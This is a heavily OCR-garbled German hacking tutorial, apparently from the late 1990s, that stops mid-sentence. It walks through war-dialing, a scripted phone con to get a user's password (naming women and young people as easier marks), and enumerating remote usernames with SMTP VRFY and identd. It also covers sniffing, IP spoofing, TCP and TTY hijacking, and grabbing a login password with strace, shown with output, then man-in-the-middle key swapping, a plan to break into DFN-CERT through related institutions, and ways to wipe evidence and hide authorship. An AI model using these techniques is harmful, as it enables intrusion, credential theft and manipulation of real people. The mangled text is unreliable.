Du waehl st ei ne Numrer und horchst ob ein Mddem dranhaengt - di ese Auf gabe
kann auch ein Prog. uebernehnen. Viele Firmen bel egen ei nen bestinmten
Numrer nberei ch, z.B. eine 6stellige Nutmmer wobei die ersten 3 Zahl en
statisch sind (z.B. 911) und die letzten 3 Zahlen variieren (0 bis 999;
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wobei O neistens die Telefonzentrale, Pforte, etc ist). Nun waehlst du alle
Nr. von 911-0 bis 911-999 bis du ein Mddem gefunden hast; falls du ein
Anr uf beant wort er entdeckst, dann versuche i hn zu hacken (weitere Infos).
Du kannst den zuscannenden Bereich einschraenken indemdu dir die
Dur chwahl numrer des RZs, DVZs (Datenverarb. Zentrunm) - oder wi e sonst die
Abtei l ung fuer die Rechnerverwal tung hei sst - geben | aesst und dann von
dort startest (Bsp.: Durchwahl: 345, dann faengst du bei 911-300 an). So
j etzt Accounts besorgen.
Ruf e ei nen User an - dabei solltest du fol gendes beachten: suche dir am
Besten nur Frauen
oder Jugendliche aus, da di ese Personen | eichtglaeubi ger und techn. weniger
versiert sind.
(KEI'N Sexismus, reine Erfahrung :) )
keine direkten Mtarbeiter der Firma
abends anrufen (zw. 19.00 und 21.00)
so, nehnmen wir mal an, dass der Admin der Firma HAQ ME "Mark Abene" und
der User "Kathrin Mtnick" heisst und gehen wir davon aus, dass du den
User namen kennst, dann koennte ein Gespraech fol gendermassen abl aufen: MA:
Guten Abend, hier ist Mark Abene, ich bin der Conputer-Admi nistrator
von HAQ ME. Koennte ich wohl bitte Kathrin Mtnick sprechen?
KM Ja, am Appar at .
MA: Ch gut, undzwar fol gendes, wir hatten auf unseren Internet-Server
ei nen Headcrash, uns sind einige Daten verloren gegangen, darunter
auch die Userdaten...

KM OCh Gott, wie schrecklich.

VA ... ja, ja, und ich hab' die ehrenvolle Aufgabe die Daten von
unseren Backupbaendern zu restaurieren und die User- Dat enbank

wi eder
neu ei nzurichten.

KM Aha. ..

VA Um nei ne Aufgabe zu konplettieren und i hnen wi eder die ei nwandfreie

Benut zung i hres I nternetzugangs zu gewaehrl ei sten nuesste ich
Wi ssen
ob sie ihren alten Usernamen, kathrin, w eder verwenden woll en.

KM Oh ja, natuerlich.

MA: X,... und wie lautete i hr Passwort?

KM Was! ? Mein Passwort, warum haben sie davon keine Sicherungskopien
angefertigt?

MA: Oh, es ist schoen so sicherheitsbewusste User zu haben, aber |eider
sel ten.
Auf grund unser hohen Sicherheitsansprueche wird von der User-
Dat enbank kei ne Kopi e angefertig... stellen sie sich mal vor, dass
di e Backupbaender gestohl en werden.

KM Oh ja, sie haben recht. Also gut nein Passwort war "nirhtak".

MA: &, ... dankesehr.
Auf wi eder hoer en.

KM Tschuess.

So, viel geredet fuer nur ein einziges Wrt, aber es hat sich gelohnt. Du
musst jederzeit ernst und ruhig klingen. Dieses CGerede ist sog. "Socia
Engeneeri ng".

Sollte es, aus wel chen Gruenden auch inmer, nicht klappen, dann kannst du
auch ein Prog. verwenden, das das Passwort "raet". Vielleicht funktionieren
auch sog. Default-Accounts (z.B. Login: guest & Password: guest). Die
Literatur

So, ich hab hier nmal eine kleine Tabelle nit Buechern zusammengestellt, die
du Il esen solltest.

Komentar Gerhard Wl I nms Das C G undl agen Buch Data Becker Das Fundanent
der C- Progranmi erung

Nenmet h, Snyder, Seebass, Hein Unix Systemadninistration

Handbook Prentice Hall Meiner Meinung nach das beste Buch fuer Unix-
Systenadmi ni stration (eine dt. Auflage ist auch erhaeltlich)

W Richard Stevens Programm erung in der Unix-Urgebung Addi son-Wesl ey Ma

wi eder ein perfektes Werk.
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St evens schrei bt die besten Buecher fuer Unix/Internet
Pr ogr ammi er ung
W Richard Stevens Programm eren von Uni x- Netzen Prentice Hall / Hanser 2te
Auf | age
W Richard Stevens TCP/IP Illustrated Vol. 1/2/3 Addi son-Wsl ey |nfos ueber
das TCP/ | P Protokol und dessen |nplenentierung
sehr w chtig
Garfinkel und Spafford Practical Unix & Internet Security O Reilley Das
beste Buch in Sachen Unix- & Internet-
Si cher hei t
Chapman und Zwi cky Einrichten von Internet-
Firewalls O Reilley beschrei bt den Aufbau von Firewalls
| ei der nicht uptodate aber trotzdem sehr gut
Cheswi ck und Bellovin Firewalls und Sicherheit imlnternet Addi son-Wsl ey
Ebenfalls Firewall s-
auf bau, aber etwas theoretischer
und zei gt uebersichtlich noegliche Schwaechen auf.
Bruce Schnei er Angewandte Kryptographi e Addi son-Wesl ey Bruce Schnei er hat
bei dem Buch ganze Arbeit geleistet. Es ist sehr gut zu |l esen und enthaelt
viel e Informationen
El ectronic Frontier Foundation Cracking DES El ectronic Frontier Foundation
Na? ' Ne Menge Papier. Aber es |lohnt sich wirklich den ganzen Kram zu | esen
glaub mr. Es gibt auch einige wenige gute Docs von Adnmins und Hackern -
sie ersetzen aber nicht ein gutes Buch.
Du solltest auch die Security-Papers |esen, die imCQOAST-Archiv oder be
Root Shel | liegen... und die USEN X-Veroeffentlichungen nicht zu vergessen
We konme ich weiter?
Du solltest dir einen |egal en |Internet-Zugang besorgen
Anschl i essend schreibst du dich in Mailing Lists, die sich mit Unix- &
I net-Security beschaeftigen ein. Hier werden H nweise auf Bugs in
Programmren und Di ensten gegeben und zusaetzlich auch noch kleine C
Programre oder Shell/Perl-Scripts nmitgeliefert, die di ese Bugs ausnutzen.
Trotz di eser Bequenichkeit solltest du die ol d-school Methoden wi e Trojan-
Horses, etc nicht vergessen bzw. sel bst dein Gehirn benutzen

Adresse Subject Body

best - of - securi ty-request @ubur bi a. net subscri be best-of-security

i stserv@etspace.org subscri be bugtraq

maj or dono@ i st s. gnac. net subscribe firewalls

P e -

nmai1to: TvalT-users-request @i's. coth  subscribe fwall-users
maj or dono@snx. r ut gers. edu subscri be wwsecurity Ok, gehen wir nal

davon aus, dass du 'root'-Rechte hast.

Ei ne Mbeglichkeit umweitere Netze zu hacken besteht darin nach Dateien we

".rhosts", ".netrc" oder/und ".forward" zu suchen; oder E-Mil nach
Passworten (oder anderen interessanten Kranm) zu durchforsten. Umdir die

Arbeit ueber 20.000 User zu checken (und bei m Gebrauch von NFS noch

zusaetzlich die U D zu wechsel n) abzunehnen hab ich ein kleines Too

geschrieben... die erste Version von Searcher half mr bei neinen ersten

I nt er net - Hacks.

Wenn du von einigen Usern das Passwort gecrackt hast, dann solltest du

gucken von wel chen Hosts sie sich einloggen, dazu kannst du |l ast, w oder

aehnl i ches benut zen, du koenntest auch die Hosts aufs Korn nehnen in die
si e sich einloggen, herausfinfen kannst du das z.B. mit ps (mt w Option),
netstat, ... oder du benutzt die Mail-Aiases bzw. ".forward" um zu sehen

wohin ein User seine E-Mail unmeitet.

Jet zt solltest du noch herausfinden wel chen Usernanen er auf dem Renote
Host benutzt (im".forward" File ist es schon angegeben; z.B. “renote-

user @t her-site.com ), dazu kannst du SMIP verwenden... Bsp.: User "victint
(Real nanen: Hackers Victin) hat sich nmit telnet auf dem Rechner
"host . account . edu" eingel oggt. > telnet host.account.edu 25

< Trying 123.10.0.1..

< Connected to host.account. edu

< Escape character is '~]".

< 220- host . account.edu Sendnail 8.6.9/8.6.9 ready at Mn, 21 Jul 1997
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220 ESMIP spoken here

vrfy victim

550 victim.. User unknown

vrfy hvictim

250 Hackers Victim <hvicti m@ost.account. edu>

qui t

221 host. account. edu cl osing connection

Connection cl osed by foreign host.

Der User verwendet al so auf beiden Hosts nicht den sel ben Usernanen, da das
Kommando "vrfy victim' von Sendmai|l (weitverbreitetes E-Mil-Verteilungs
Programm das an Port 25 haengt) mit "550 victim.. User unknown"
beantwortet wird.

Jetzt nusst du einige Konbinationen (z.B. aus den Initialen des Users)
ausprobieren... BING ... "hvictinl ist der Username, den "victini auf
"host. account. edu" benutzt. Du kannst auch noch finger (wird aber aus

Si cher hei t sgruenden haeufi g ni cht angeboten) oder aber rusers benutzen um
al |l e eingel oggten User auf "host.account.edu" zu erfragen. Falls du kei nen
Erfol g haben solltest oder diese Dienste nicht angeboten werden bist du

i mmer noch nicht verloren. Wenn der User gerade eingel oggt ist, dann rufe
das Programm netstat (dient unter anderem zum Debuggen von

Net zwer kpr obl emen) auf. > netstat

< Active Internet connections

NNV ANV AV AN

< Proto Recv- Q Send-Q Local Address Forei gn Address

(State)

< User

< victim

<tcp 0 0 | ocal host: 1032 host . account . edu: t el net
ESTABLI SHED

< root

< udp 0 0 | ocal host: 3043 * o *

< Active UN X domai n sockets

< Proto RefCnt Fl ags Type State

Pat h

<unix 1 [ ACC ] SOCK_STREAM LI STENI NG

[t np/ gpnct

<unix 2 [ ] SOCK_STREAM CONNECTED

/ dev/ 1 og

<unix 2 [ 1] SOCK_STREAM CONNECTED

<unix 2 [ ACC ] SOCK_STREAM LI STENI NG

[ dev/printer

<unix 2 [ ] SOCK_STREAM CONNECTED

/ dev/1 og

<unix 2 [ 1] SOCK_STREAM CONNECTED

<unix 1 [ ACC ] SOCK_STREAM LI STENI NG

/ dev/ | og

So, die aktiven Unix Domain Sockets interessieren hier nicht; von Interesse
ist nur... < Active Internet connections

< Proto Recv-Q Send-Q Local Address Forei gn Address

(State)

< User

< victim

<tcp 0 0 | ocal host: 1032 host . account . edu: t el net

ESTABLI| SHED

hi er kannst du sehen, dass der User "victinl eine Verbindung vom Port
1032 des |l ocal en Hosts zum Tel net-Port (23, siehe File "/etc/services") von
"host . account . edu” (der Hostnane wird bei Ueberlaenge abgeschnitten; du
kannst dir auch die | P-Adresse anzei gen | assen) aufgebaut hat. Jetzt weist
du genug um ein kleines "Authentifikationsprogrant (>identd<) fuer deine
Zwecke zu verwenden. Kurz was zur eigentlichen Verwendung von identd:
identd wird von V8 Sendnmail dazu benutzt um gefael schte E-Mails zu
ent schaerfen, indem sendmail identd befragt wel cher User gerade eine
Ver bi ndung zu i hm auf gebaut hat. (Das Format fuer identd: Server/Renote-
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Port, Client/Local-Port) Los geht's! Bau eine TCP Verbi ndung zum Port 113
(hier haengt identd) von "host.account.edu" auf. > telnet host.account.edu
113
< Trying 127.0.0.1..
Connected to host.account. edu
Escape character is '"]'.
23, 1032
23 , 1032 : USERID : UNI X : hvictim
> Connection closed by foreign host.
Jupp, da is' es "hvictinm'. Ja, falls der Typ rlogin oder rsh benutzt, dann
sieh' dir mal die Prozess-Liste an, ps auw | grep victimfuer BSD Derivate
und ps -ef | grep victimfuer SysV (AT&T) Unix. Von Interesse fuer uns ist
hier die '-1' Option der Befehle, danmit gi bt man den Usernanen auf dem
Renote Host an (das selbe gilt auch fuer SecureShell - ssh). Wenn du den
Source Code von telnet bzw. telnetd fuer das OS des | okal en Rechners hast,
dann kannst du den Code so veraendern, dass die Account |nformationen fuer
ausgehende bzw. eingehende Verbi ndungen auf gezei chnet werden. Die
ef fekti vste und auch einfachste Methode ist einen Ethernet-Sniffer zu
installieren. Der Sniffer setzt die Netzkarte in den Prom scuous Mdde und
kann so alle Pakete, die uebers LAN gehen aufzeichnen. Sieh' dir nal den
Code und die Docu.s von 'nem Sniffer an
Das Sniffen funktioniert nicht bei ATM und bei 10BaseT/ 100BaseT- Netzen
(mt intelligenten Hubs)... und bei FDDI - und Tokenring-Netzen geht's nur
teilweise. Die Methode mit dem Sniffer ist eine passive Attacke. Aktive
Angriffe wie (Blind-) I P Spoofing, TCP Hijacking... sind etwas
konplizierter und ich werde sie hier nur kurz erleutern.

Met hode Beschr ei bung
Blind I P-Spoofing Hierbei benutzt man eine fal sche I P Source Adresse und
versucht eine TCP Verbi ndung auf zubauen
Es wird der 'Trusted Host' Mechani snmus der BSD "r”-Dienste (neistens
rl ogi nd) ausgenutzt, dieser 'Sicherheits'-Mechanisnus erlaubt Zugriff
anhand der |P Source Adresse (es wird kein Passwort benoetigt - sollte das
Sni ffen von Passwoertern verhindern).
Di e grosse Kunst bei dieser Formder Attacke besteht darin die TCP
Sequencenr. richtig zu "raten" (da man die |IP Src. gefael scht hat bekonmt
man die TCP Seq# des Renbte Hosts nicht zu Gesicht; es sei denn man benut zt
die IP Src. Adresse eines Hosts, der sich imsel ben Subnet befindet).
Bei alten Systenen ist das "Raten" relativ einfach (64K Rul e) aber be
neuen Systenen ist es nahezu unnoeglich, da sie ihre TCP Seq# random
erstellen.
Non-Blind | P-Spoofing Der Vorteil dieser Attacke ist, dass nman im
Cegensatz zu 'blinden' Version die TCP Seg# und die Daten "sieht". Ein
wieterer Vorteil ist, dass nehrere Methoden existieren
I P Source Routing + Alias Interface
Di ese Methode is sehr einfach zu realisieren, es werden einfach alle
Rout er, di e das Packet passieren soll imIP Header als zusaetzliche Option
angegeben. .
Tja, aber das Dumre ist, dass der rlogind ueberprueft ob zusaetzliche
Optionen imI| P Header gesetzt sind, und wenn demso ist, dann wird das
Packet irgnoriert und eine Lognessage an sysl ogd uebergeben (jedenfalls
wird es in der BSD Version gemacht und ich denke SysV nacht es auch).
der gespoofte/zu attackierte Host befindet sich imsel ben Subnet wie 'dein
Host
Ok, auf 'nem normal en Ethernet kannst du alle Packete sehen i ndem du dei ne
Et hernetkarte in den Prom sc. Mdde schaltest (s. Sniffer)
du hast den ISP des Netzes gehackt, an dem der gespoofte/attackierte Host
haengt
Es kann (generell) wi e zuvor verfahren werden.
oder ARP Reply Spoofing
i st sehr einfach und konpfortabel..
Du erzaehltst dem zu hackenden Rechner einfach, dass die gespoofte IP zu
dei ner Hardwar e/ Et her net - Adresse gehoert, indemdu das |P/HMPaar mit Hilfe
ei ner ARP Message in seinem ARP Cache eintragen | aesst.

ANV AN
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Ist leider nur fuer LANs geeignet.

di e Route zwi schen gepsooftem Host und attacki ertem Host geht ueber

' dei nen' Router

Das Schoenste ist natuerlich, wenn der Router eine Unix-Mschine ist auf
der du 'root'-Rechte besitzt und die Route per default ueber 'deinen'
Router laeuft. Naja, neistens ist es keine Unix-Maschine sondern ein C sco,
3Com Ascend, Livingston PM oder sonstwas und du nmust die Route erst ueber
“deinen” Router redirecten (spoofe EGP/RI P Messages, oder vielleicht (wenn
"dein' Netz und das zuattakierende Netz direkt am sel ben Backbone haengen)
| CMP Redirect Messages) TCP Hijacking Hierbei geht es darum eine

best ehende TCP- Ver bi ndung zu ueber nehnen .

Dabei ergi bt sich das gl eiche Probl emw e bei m Non-Blind I P-Spoofing: man
muss irgendwi e in die Route der beiden Rechner kommen um die TCP Seq#
ntzul esen.

Wenn man di e Verbi ndung uebernormen hat koennen z.B. Shell-Conmands in den
Dat enstrom ei ngef uehgt werden, die dann auf dem Renote Host ausgefuehrt
werden. Bei den | P-Spoof Attacken, nuss darauf geachtet werden, dass der
Host, dessen | P Adresse man spooft, nicht auf die Pakete des gefoolten
Hosts antworten kann (hierzu benutzt nan eine DoS (Denial -of -Service)
Attacke), denn die Antwort (der TCP Stack generiert ein TCP RST Packet, da
er nichts mt den enpfangenden Paketen anfangen kann) wuerde den TCP St ack
des attackierten Rechners dazu bringen die TCP Connection sofort zu
beenden... und wer will das schon? Drei 'Sniffer'-Methoden erlauben es
sogar verschluesselte Verbindungen (z.B. mit SSH) imKlartext aufzuzeichnen
(bzw. Daten einzugeben). Al's erstes waere da das TTY-Hijacking zu nennen,
dann das Process (bzw. Systentall) Tracing und zu guter |letzt die Man-in-
the-Mddle (MM Attack. Die ersten beiden Verfahren setzen den 'root'-
Zugriff auf einem der Endsystene voraus. Beim TTY-Hijacking gibt es die
verschi edensten Arten. Ein einfacher 'ioctl()'-Aufruf (siehe dazu den

Sour ce Code von 'Sneagol') erlaubt es zeichenweise Daten in den TTY-Stream
ei nzugeben (aber nicht auszul esen).

Das Schoene an dieser Methode ist, dass man nicht unbedingt root-Rechte
benoetigt. SEHR alte Systenme checken die Zugriffserlaubnis fuer

Speci al fil es anhand der r/w x-Perns des Fil esystens und nicht mt Hlfe des
Kernel s. SunCS hat ei nen Bug, der es erlaubt sel bst non-root Usern einen
Fi | edescriptor fuer Specialfiles zu erhalten.

Man kann di e Shell eines Users durch 'nen PTY-Wapper ersetzen (PTY =
Pseudo- Termi nal ), dadurch kann man alle Ein- und Ausgaben nitl esen.

Ei nf uehgen von LKMs (Loadabl e Kernel nodul es) erlaubt das M tschnei den von
Ei n-/ Ausgaben und di e Ei ngabe von ei genen Dat en.

Durch das Verbi egen von Systentalls (aehnlich dem Verbi egen von DCS
Interrupts in der Intr-Vektortabelle, aber wesentlich einfacher) koennen

Ei ngaben auf gezei chnet werden.

O, konmmen wir zum Tracen von Systentalls.

Es wird eigentlich benutzt um Programe zu debuggen. Man kann den Auf r uf
von Systentalls (und Signale) incl. Paranetern verfol gen. Das coole ist,
dass viele Unix-Derivate ueber dieses Feature und den entsprechenden Tool s
ver f uehgen.

Unter Linux heisst dieses Programm strace (SunCS: trace, Solaris: truss,
IRIX: par). Ok, als erstes nmuessen wir uns ein Opfer aussuchen, d.h. die
Shel | eines Users (oder natuerlich auch eine bereits bestehende Verbi ndung
mt telnet, rlogin, ssh...). Dazu benutzen wir ps. > ps

< PI D TTY STAT TI VE COVMAND
< 69 v04 S 0: 00 (agetty)
< 70 v05 SW 0: 00 (agetty)
< 257 v06 Sw 0: 00 (agetty)
< 599 v02 S 0: 00 - bash

< 707 v03 S 0: 00 - bash

< 744 v02 R 0: 00 ps

So, wir nehnen uns nal die BASH nit der PID 707 vor. Wr rufen strace mt
der Option '-f' auf umauch die Child-Prozesse der BASH, wie z.B. telnet,
zutracen. Eine grosse Menge der Ausgaben von strace habe ich
herausgeschnitten um di e Lesbarkeit zu verbessern. > strace -f -p 707
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Process 707 attached - interrupt to quit
read(0, "t", 1) =1
wite(2, "t", 1) =1
read(0, "e", 1) =1
wite(2, "e", 1) =1

read(0, "I", 1) =1
wite(2, "I", 1) =1
read(0, "n", 1) =1
wite(2, "n", 1) =1

read(0, "e", 1) =1

wite(2, "e", 1) =1

read(o, "t", 1) =1

wite(2, "t", 1) =1

read(0, " ", 1) =1

wite(2, " ", 1) =1

read(0, "d", 1) =1

wite(2, "d", 1) =1

read(0, "o", 1) =1

wite(2, "o", 1) =1

read(0, "o", 1) =1

wite(2, "o", 1) =1

read(0, "\r", 1) =1

wite(2, "\n", 1) =1

Hi er koennen wir sehen wie der User telnet doo aufruft. Mt “read(..)’
werden di e Userei ngaben gelesen und mit "wite(..)” zum Terninal des Users
geschrieben. [eine Menge - fuer uns - unwi chtiger Kramwirde verworfen] <
[pid 772]: execve("/bin/telnet”, "telnet", "doo", env:["ignoreeof=10"
[pid 772]:

Hi er sehen wir nochmal genauer wel cher Child-Prozess aufgerufen wirde. <
socket (PF_I NET, STREAM | PPROTO |P) = 3

NNNNANNANNANNNNANNNNANNNNANNNNNNNNANNAN

< [pid 772]: connect (3, AF_INET(23, 10.0.0.1), 16) =0

Der Socket wird erzeugt und die Verbindung (I P Adresse und Port sind gut
sichtbar) wrd aufgebaut. < [pid 772]: wite(l, "Connected to

doo. t he-haze.org.\n", 32) = 32

< [pid 772]: wite(l, "Escape character is "~]'.\n", 26) = 26

Der uebliche telnet-Kramw rd dem User angezeigt. < [pid 772]:
recv(3, "\ff\fb\1\r\nLinux 1.1.59 (doo.the-haze".., 1024, 0) = 49

< [pid 772]: wite(1, "\r\nLinux 1.1.59 (doo.the-haze.or".., 46) = 46
Das Wl conme- Banner des Renote Hosts wird enpfangen und an den User

wei t ergegeben. < [pid 772]: recv(3, "\ff\f2\r\ndoo login: ", 1024, 0)
=15

< [pid 772]: wite(l, "\r\ndoo login: ", 13) = 13

Di e Logi n- Auf forderung. < [pid 772]: read(O, "t", 1024) =1

< [pid 772]: send(3, "t", 1, 0) =1

< [pid 772]: recv(3, "t", 1024, 0) =1

< [pid 772]: wite(1, "t", 1) =1

Der ertse Buchstabe des Logi nnamens wird eingelesen (“read(..)”), and den
fernen Rechner gesendet (“send(..)”), das Echo enpfangen (“recv(..)”) und

zu dem User gegeben ("wite(..)"). < [pid 772]: read(O, "i", 1024) =
1

< [pid 772]: send(3, "i", 1, 0) =1

< [pid 772]: recv(3, "i", 1024, 0) =1
< [pid 772]: wite(1, "i", 1) =1

< [pid 772]: read(0, "c", 1024) =1

< [pid 772]: send(3, "c", 1, 0) =1

< [pid 772]: recv(3, "c", 1024, 0) =1
< [pid 772]: wite(1, "c", 1) =1

< [pid 772]: read(0, "k", 1024) =1

< [pid 772]: send(3, "k", 1, 0) =1

< [pid 772]: recv(3, "k", 1024, 0) =1
< [pid 772]: wite(1, "k", 1) =1

< [pid 772]: read(0, "\r", 1024) =1

< [pid 772]: send(3, "\r\0", 2, 0) =2
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Der Logi nname ist "tick". < [pid 772]: recv(3, "\r\nPassword:
1024, 0) = 12

< [pid 772]: wite(l, "\r\nPassword: ", 12) = 12
Der Passwort-Prompt. < [pid 772]: read(O0, "T", 1024) =1
< [pid 772]: send(3, "T*, 1, 0) =1

Zum Ei nl esen des Passwortes sind nur “read(..)” und “send(..)” noetig, da
es bei Unix Maschinen ueblich ist das Passwort verdeckt einzul esen. <
[pid 772]: read(0, "E", 1024) =1

< [pid 772]: send(3, "E', 1, 0) =1

< [pid 772]: read(O0, "S", 1024) =1

< [pid 772]: send(3, "S", 1, 0) =1

< [pid 772]: read(0, "T", 1024) =1

< [pid 772]: send(3, "T", 1, 0) =1

< [pid 772]: read(0, "S', 1024) =1

< [pid 772]: send(3, "S", 1, 0) =1

< [pid 772]: read(0, "T", 1024) =1

< [pid 772]: send(3, "T", 1, 0) =1

< [pid 772]: read(0, "R', 1024) =1

< [pid 772]: send(3, "R', 1, 0) =1

< [pid 772]: read(0, "A", 1024) =1

< [pid 772]: send(3, "A", 1, 0) =1

< [pid 772]: read(0, "C', 1024) =1

< [pid 772]: send(3, "C', 1, 0) =1

< [pid 772]: read(0, "E', 1024) =1

< [pid 772]: send(3, "E', 1, 0) =1

< [pid 772]: read(0, "\r", 1024) =1

< [pid 772]: send(3, "\r\O0", 2, 0) =2

< [pid 772]: recv(3, "\r\O0\r\n", 1024, 0) =4
< [pid 772]: wite(l, "\r\r\n", 3) =3

Sein Passwort ist "TESTSTRACE'. < [pid 772]: recv(3, "Last login: Mn
Sep 22 15:58:52 ".., 1024, 0) = 48

< [pid 772]: wite(l, "Last login: Mon Sep 22 15:58:52 ".., 48) = 48

Di e Lastl ogi n- Message, das Einl oggen war also erfolgreich. Was wollen wir
mehr ?

Kommren wir nun zur MM Attack.
Eine MM Attack haengt stark von dem Prot okol fuer den Schl uessel aust ausch
von der zugrundel i egenden Net zwer kar chitektur, vom Routing und so weiter
ab.
Ich werde mal ein kleines Szenario darstellen bei demein asymretrischer
(Public-Key) Kryptoal gorithrmus verwendet wird. Die technischen Feinheiten
sollen uns hier mal nicht interessieren
Nehmen wir an, dass sich ein BKA Beanter (Harald) nit einem BS
Angestellten (Jochen) ueber die neusten Entw cklungen von und in der THC
Crew unterhalten will. ;)
Zur Kommuni kation benutzen sie ein Art talk, bei dem die Daten encrypted
ueber ein Conputernetzwerk gehen
Desweiteren ist es ihre erste Konmmuni kati on, sodass sie erst noch ihre
Publ i c- Keys austauschen nuessen.
Unser Angreifer (TICK) sitz irgendwo zw schen den bei den. Nein, nicht
"irgendwo' ... er nuss sich einen Platz aussuchen, den di e Pakete auf jedem
Fal | passieren nuessen (z.B. ein Router), oder er klinkt sich direkt ins
Net zwerk ein, wenn er physikalischen Zugriff (z.B. bei einem Backbone
Betrei ber oder iml okalen Netz von Jochen oder Haral d) hat, oder er
mani puliert den DNS Tree, oder veraendert das Routing mit Hilfe von RIP..
oder, oder, oder. Der Angreifer nuss in der Lage sein Pakete abfangen
veraendern und wei tersenden zu koennen; die original Pakete duerfen nicht
den jeweiligen Konmuni kati onspartner erreichen
So. Lasst das Spiel beginnen! Jochen wartet auf die Verbindung von Harald
Haral d sendet seine Chat-Anfrage an Jochen
di e Software von Jochen und Harald etablieren jetzt die Verbindung
TICK wird auf diese Aktion natuerlich aufnerksam
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wenn Haral d seinen Public-Key an Jochen schickt, faengt TICK i hn ab und
sendet stattdessen seinen eigenen Public-Key an Jochen und behauptet er
konmt von Haral d

Jochen enpfaengt TICK s Public-Key und denkt er kommt von Harald

Jochen seinerseits sendet seinen Public-Key an Haral d

das gl eiche Spiel: TICK tauscht Jochen's Key gegen sei nen ei genen aus und
sendet i hn Harald

Haral d bererkt nichts und beginnt nit der verschluesselten Komunikation
Zur Verschl uessel ung benutzt er natuerlich TICK s Public-Key

TI CK enpfaengt die Nachricht, dechiffriert sie mt seinem Secret-Key und
erhaelt den Klartext (der natuerlich aufgezei chnet wird)

TI CK verschluesselt den Klartext mt dem Public-Key von Jochen, damnit
Jochen di e Nachricht decrypten kann und sendet den Chipertext an Jochen
Jochen enpfaengt die Nachricht und dechiffriert sie mt seinem Secret-Key
Jochen Antwortet auf Harald' s Nachricht

das Spiel geht von Vorne los, nur das in ungekehrter Richtung natuerlich
Haral d's Public-Key verwendet werden nuss

TICK lacht sich ins Faeustchen ;)

M M Attacken koennen durch Signaturen (z.B. eines KDCs) oder durch das

| NTERLOCK- Pr ot okol erschwert/verhindert werden... aber da es sich hier
nicht umein Security-Paper handelt, werde ich nicht naeher darauf

ei ngehen. ;) lch noechte noch kurz auf eine andere Art von Attacke

ei ngehen, die z.B. bei SecureShell funktioniert.

Undzwar wenn der Public-Key einer Cient -> Server Verbindung bekannt ist,
dann kann ein Angreifer mt di esem Key ei gene Pakete verschluesseln und in
den Stream ei nfuehgen. Sonmit ist es z.B. noeglich Befehle an eine Shell zu
schicken. Umehrlich zu sein werden die neisten Hacks mt Hilfe von Renote-
Exploits und Sniffern gemacht. Abundzu solltest du auch 'n paar Hacker-Mags

lesen... leider sind die neisten echter Schrott, was ich dir enpfehlen
koennte ist Phrack , THC-Mag ... naja, und vielleicht noch das TFC Mag
Ach ja, es gibt da noch eine Methode... haette's fast vergessen. |ch nenne
si e "Verwundbarkeit aufgrund von Bezi ehungen”... naja. Ok, nehmen wir mal

an, du wllst das DFN- CERT hacken, komst aber nicht rein weil die ihre
Rechner natuerlich gut gesichert haben. Nun nusst du ein paar Ueberl egungen
ueber di e Bezi ehungen des CERT zu anderen Donains nmachen. Hier ein Bsp. ('-
" Ueberl egung und '->'" Fol gerung): - das CERT hat eine Subdomain im
Net z des DFNs (Deutsches Forschungs Netz)

-> Bez. zu grossen Forschungseinrichtungen wei z.B. das DESY,
die
Frauenhof er Gesellschaft, der GWD et cetera
Sniffer installieren und/oder gecrackte Accounts bei m DFN
testen.
- das DFN-CERT liegt in Hanmburg
-> Somit besteht eine Beziehung zur Uni/FH Hamburg
d. h. wenn du die Uni/FH Hanburg hackst kannst du ei nen
Sniffer
auf di e DFN(- CERT) - Dormai n anset zen
(und umehrlich zu sein wird das DFN- CERT auch von Prof.s
der
Uni-HH geleitet (z.B.: Wl fgang Ley))
-> Das DESY ist ebenfalls in HH
H ermt besteht schon eine doppelte Bez. zum DESY... also
es | ohnt

sich hier mal vorbei zu sehen. ;)
- und noch ein paar Kleinigkeiten nehr..
We rette ich neinen Arsch? Zu di esem Thena werde ich nicht viel sagen
ausser, dass du How to cover your tracks von van Hauser/ THC | esen solltest.
I ch kann nur noch hi nzufuegen: unterschaetze nienals deine "Gegner"...
sprich die Adnmins und die Bullen
wenn du nicht wirklich gut bist, dann | ass die Finger vom CERT, Firewalls
etc... du bekommst nur Aerger
setze dich mt der GCesetzesl age dei nes Lands ausei nander
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zerstoere nichts und kl aue kei ne Firnmengehei misse (es sei denn sie sind
fuer Hacker interessant oder koennten die Erde vor ihrem Untergang bewahren
;)

| oesche al |l e Konponent en dei ner Hacki ng-Tool s und Exploits nmit srm o. ae.
damt man sie nicht durch rohes Auslesen der HD rekonstruieren kann

Du solltest dir ein Progranm schrei ben (oder benutze indent), das das

For mat dei ner Source Codes voellig aufhebt, sodass z.B. dein Source Code
nur aus einer |angen Zeile besteht. Es existieren naemich nehrere Security
Papers, die sich damt beschaeftigen den Autor eines Prograns anhand seines
Programmi erstils zu erkennen (wurde auch beimlnternet Worm von Robert T.
Morris angewandt; so konnte festgestellt werden, dass der Bufferoverfl ow
Exploit fuer fingerd nicht urspruenglich von Morris stammt). Desweiteren
solltest du kei ne extravaganten Bezei chnungen bei der Benennung dei ner
Funktionen und Vari abl en waehl en. Das nuetzt natuerlich alles nichts, wenn
du dei nen Handl e in den Quell code schreibst. ;) Ei n paar Gedanken zum Sei n
ei nes Hackers Naja, das Bild ist mr etwas zu schwarz-wei ss (und das hat
nichts mt der Farbe zu tun).

In nmei nen Augen vereinigt ein Hacker beide "Personen” (No Risk No Fun). Ein
paar Regeln solltest du imrer i mH nterkopf behalten: Zerstoere keine
Rechner/ Net ze

kei ne Erpressung

kei ne I ndustri espi onage

hack nicht einfach wie wild 1000 Rechner nur weil es einfach ist, ninmm nmal
'n paar Herausforderungen an

und noch 'ne Menge anderer Kram der gegen die Ehtik eines Hackers
verstoesst, mr jetzt aber nicht einfaellt... Yeah, tinme to becone 31337.
Ok, irgendwann wird das alles | angweilig und/ oder die Domain, in die du
unbedi ngt hinein willst ist dicht wie 'n Bunker

Jetzt wird es Zeit seine eigenen Tools und Renote-Exploits zu entw ckel n.
Ich liste mal ein paar Dinge auf, die du als Gundlage zur Entwi ckel ung von
ei genen Exploits benoetigst. natuerlich solltest du fit im Progranm eren
unter Unix sein (C, C++, Perl, Shell-Spachen).

du solltest die Exploits (von Bugtraq etc) genau studieren und einen
Ueberblick und ein Verstaendnis fuer die Sicherheit von Progranmren bekomen
das ' Nach-programieren' von Exploits uebt ungenein ;)

besorge dir diverse Docs ueber das sichere Progranm eren von Uni x- Software

und vergi ss nicht, so viel Source Codes wi e noeglich von den verschi edenen
Uni x- Deri vaten zu bekommen, die du gehackt hast

wenn du d ueck hast ist noch die Installations-CDimCD Rom (ich hoffe mit
Sour ces) ;)

ja, und weil kopieren einfacher ist als selber schreiben, solltest du
bedenken, das Progranme, die unter z.B. Linux 'nen Bug haben
